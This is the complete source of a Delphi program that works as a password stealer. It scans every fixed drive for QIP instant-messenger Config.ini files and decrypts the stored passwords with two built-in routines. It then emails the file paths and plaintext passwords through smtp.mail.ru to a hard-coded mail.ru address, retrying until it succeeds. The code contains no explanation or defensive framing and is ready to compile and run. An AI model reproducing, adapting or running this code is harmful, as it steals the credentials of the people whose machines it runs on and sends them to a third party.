program xekqip;

uses
  Windows,
  WinSock;

var
  PasWD : String = '';  

function ShellExecute(hWnd: LongInt;
					  Operation, FileName, Parameters, Directory: PChar;
					  ShowCmd: Integer): HINST;
					  stdcall; external 'shell32.dll' name 'ShellExecuteA';

function MyStrToInt(S:String):Integer;
var
I, ErrorCode: Integer;
begin
  Result:=-0;
  Val(S, I, ErrorCode);
  if ErrorCode <> 0 then
	begin
	  WinExec(PChar(ParamStr(0)),SW_HIDE);
	  Halt;
	end
  else
	Result := I;
end;

function DecryptQIPPass_New(pass:string):string;

function DecodeBase64(value:string):string;

function DecodeChunk(const chunk:string):string;
const
  b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
  w : LongWord;
  i : byte;
  c : char;
begin
  w:=0;
  Result:='';
  for i:=1 to 4 do
	   if pos(Chunk[i],b64)<>0 then
		 w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
  for i := 1 to 3 do
	begin
		 c:=chr(w shr((3-i)shl 3)and $ff);
		 if c<>#0 then Result:=Result+c
	end
end;

begin
  Result:='';
  if length(Value)and $03<>0 then exit;
  while length(Value)>0 do
	begin
	  Result:=Result+DecodeChunk(copy(value,0,4));
	  delete(value,1,4);
	end
end;

var
  t,i,c : integer;
begin
  i:=length(pass);
  if i=0 then
	   result:='Not Saved'
  else
	 if i and $03<>0 then
	   result:='Cannot Decrypt'
	 else
	begin
		 Result:=DecodeBase64(pass);
		 t:=$1ac3;
		   for i:=1 to length(Result) do
		  begin
			   c:=Ord(Result[i]);
			   Result[i]:=chr(c xor(t shr 8));
			t:=(t+c)*$38421+$64ceb;
			 end
	end
end;

function DecryptQIPPass_Old(pass:string):string;
const
  Table1:string='4654360486439083677';
  Table2:string='216463956385630579';

function DeXor1(const Pass,Table:string):string;
var
  CryptChar:Byte;
  i,p:Integer;
begin
  Result:=Pass;
  CryptChar:=Length(Table)-1;
  p:=1;
  for i:=1 to Length(Result) do begin
	if (CryptChar and 8) = 0 then
	  CryptChar:=CryptChar xor 1;
	CryptChar:=not CryptChar;
	CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
	Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
	Inc(p);
	if p>Length(Table) then
	  p:=1;
  end;
end;

function DeXor2(const Pass:string):string;
var
  CryptInt:SmallInt;
  i,t,l,v:integer;
const
  Table: array[0..$5f] of Byte = (
	$5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
	$43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
	$53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
	$2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
	$13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
	$23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
  );
begin
  Result:=Pass;
  l:=length(Result);
  t:=l;
  for i:=1 to l do begin
	CryptInt:=Ord(Result[i])-$20;
	if (CryptInt>=0) and (CryptInt<=$5f) then begin
	  v:=CryptInt;
	  if l and $03<>0 then
	 t:=(t shl 3)or(t shr 27);
	  t := t and $1f;
	  CryptInt:=CryptInt xor t;
	  t:=t+l+v;
	  Result[i]:=Chr(Table[CryptInt]+$20);
	end;
	Dec(l);
  end;
end;

var
  i,l:integer;
begin
  result:='';
  l:=length(pass);
  if l=0 then
	result:='Not Saved'
  else
	if l and $01<>0 then
	  result:='Cannot Decrypt'
	else
	  begin
		for i:=1 to l do
		  begin
			   if pos(pass[i],'0123456789ABCDEF')=0 then
			  begin
				   result:='Cannot Decrypt';
				   exit
				 end
		  end;
		for i := 1 to l shr 1 do
			 Result:=Result+Chr(MyStrToInt('$'+Copy(pass,i shl 1 -1,2)));
	  Result:=DeXor1(Result,Table1);
	  Result:=DeXor1(Result,Table2);
	  Result:=DeXor2(Result);
	end
end;

function MyGetLogicalDrives : String;
var
   drives  : set of 0..25;
   drive   : integer;
begin
   Result := '';
   DWORD( drives ) := Windows.GetLogicalDrives;
   for drive := 0 to 25 do
	  if drive in drives then
		 Result := Result + Chr( drive + Ord( 'A' ));
end;

function ExtractLastPathName(S:String):String;
begin
Result:=S;
Delete(S,Length(S),1);
while Pos('\',s) <> 0 do
  begin
	Delete(s,1,Pos('\',s));
	Result:=S;
  end;
end;

procedure ExtractPass(fp,fn:String);
var
  f : TextFile;
  S : String;
begin
  AssignFile(f,fp+fn);
  Reset(f);
  while not EOF(F) do
	begin
	  ReadLn(f,S);
	  if copy(S,1,6)='NPass=' then
		begin
		  Delete(S,1,6);
		  S :=  ExtractLastPathName(fp)+'; '+
				S+'; '+
				DecryptQIPPass_Old(S)+'; '+
				DecryptQIPPass_New(S)+';';
		  PasWD := PasWD + S;
		  break;
		end;
	end;
  CloseFile(f);
end;

procedure ApiSearch(DiR:String);
var
  FileName: string;
  FindHandle:THandle;
  SearchRec:TWIN32FindData;
begin
  if Dir<>'' then if Dir[length(Dir)]<>'\' then
	Dir:=Dir+'\';
  FindHandle := FindFirstFile(PChar(DiR+'*'), SearchRec);
  try
  if FindHandle <> INVALID_HANDLE_VALUE then
	repeat
	  FileName:=SearchRec.cFileName;
	  if(FileName='.')or(FileName='..')or(Dir+FileName=ParamStr(0))then continue;
	  if(SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY <>0)then
		ApiSearch(DiR+FileName+'\')
	  else
		if FileName = 'Config.ini' then
		  ExtractPass(Dir,FileName);
	until FindNextFile(FindHandle,SearchRec)=false;
  finally
	Windows.FindClose(FindHandle);
  end;
end;
function SendMail(Smtp: PChar; Port: dword; From, Dest, Data: PChar): boolean;
var
 FSocket: integer;
 HostEnt: PHostEnt;
 SockAddrIn: TSockAddrIn;
 dBuff: PChar;
 dSize: dword;
 Str: array [0..255] of Char;
 
 function Success(): boolean;
 var
  Bytes: dword;
  RBuff: array [0..255] of Char;
 begin
   Result := false;
   Bytes := recv(FSocket, RBuff, 255, 0);
   if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit;
   RBuff[3] := #0;
   if lstrcmp(RBuff, '220') = 0 then Result := true else
   if lstrcmp(RBuff, '250') = 0 then Result := true else
   if lstrcmp(RBuff, '354') = 0 then Result := true;
 end;
 
begin
  Result := false;
  FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(Port);
  SockAddrIn.sin_addr.s_addr := inet_addr(Smtp);
  if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
	begin
	 HostEnt := gethostbyname(Smtp);
	 if HostEnt = nil then
	  begin
	   closesocket(FSocket);
	   Exit;
	  end;
	 SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^;
	end;
  if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then
   begin
	if Success then
	 begin
	  lstrcpy(Str, PChar('HELO ' + Smtp + #13#10#0));
	  send(FSocket, Str, lstrlen(Str), 0);
	  if Success then
	   begin
		lstrcpy(Str, PChar('MAIL FROM: ' + From + #13#10#0));
		send(FSocket, Str, lstrlen(Str), 0);
		if Success then
		 begin
		  lstrcpy(Str, PChar('RCPT TO: ' + Dest + #13#10#0));
		  send(FSocket, Str, lstrlen(Str), 0);
		  if Success then
		   begin
			lstrcpy(Str, 'DATA'#13#10#0);
			send(FSocket, Str, lstrlen(Str), 0);
			if Success then
			 begin
			  dSize := lstrlen(Data);
			  GetMem(dBuff, dSize + 6);
			  lstrcpy(dBuff, Data);
			  lstrcat(dBuff, #13#10'.'#13#10#0);
			  send(FSocket, dBuff^, dSize + 6, 0);
			  FreeMem(dBuff);
			  if Success then
			   begin
				lstrcpy(Str, 'QUIT'#13#10#0);
				send(FSocket, Str, lstrlen(Str), 0);
				Result := true;
			   end;
			 end;
		   end;
		 end;
	   end;
	 end;
   end;
 CloseSocket(FSocket);
end;

procedure Sent;
var
  WSAData: TWSAData;
begin
  WSAStartup(257, WSAData);
  while true do 
	if SendMail('smtp.mail.ru', 25,'xcopy@mail.ru','xcopy@mail.ru', PChar(PasWD)) then
	  Break;
  WSACleanup();
end;

procedure CallSearch;
var
  i : Byte;
begin
  for i := 1 to Length(myGetLogicalDrives)do
	if GetDriveType(PChar(myGetLogicalDrives[i]+':\')) = DRIVE_FIXED then
	  ApiSearch(myGetLogicalDrives[i]+':\');
end;

begin
  CallSearch;
  Sent;
end.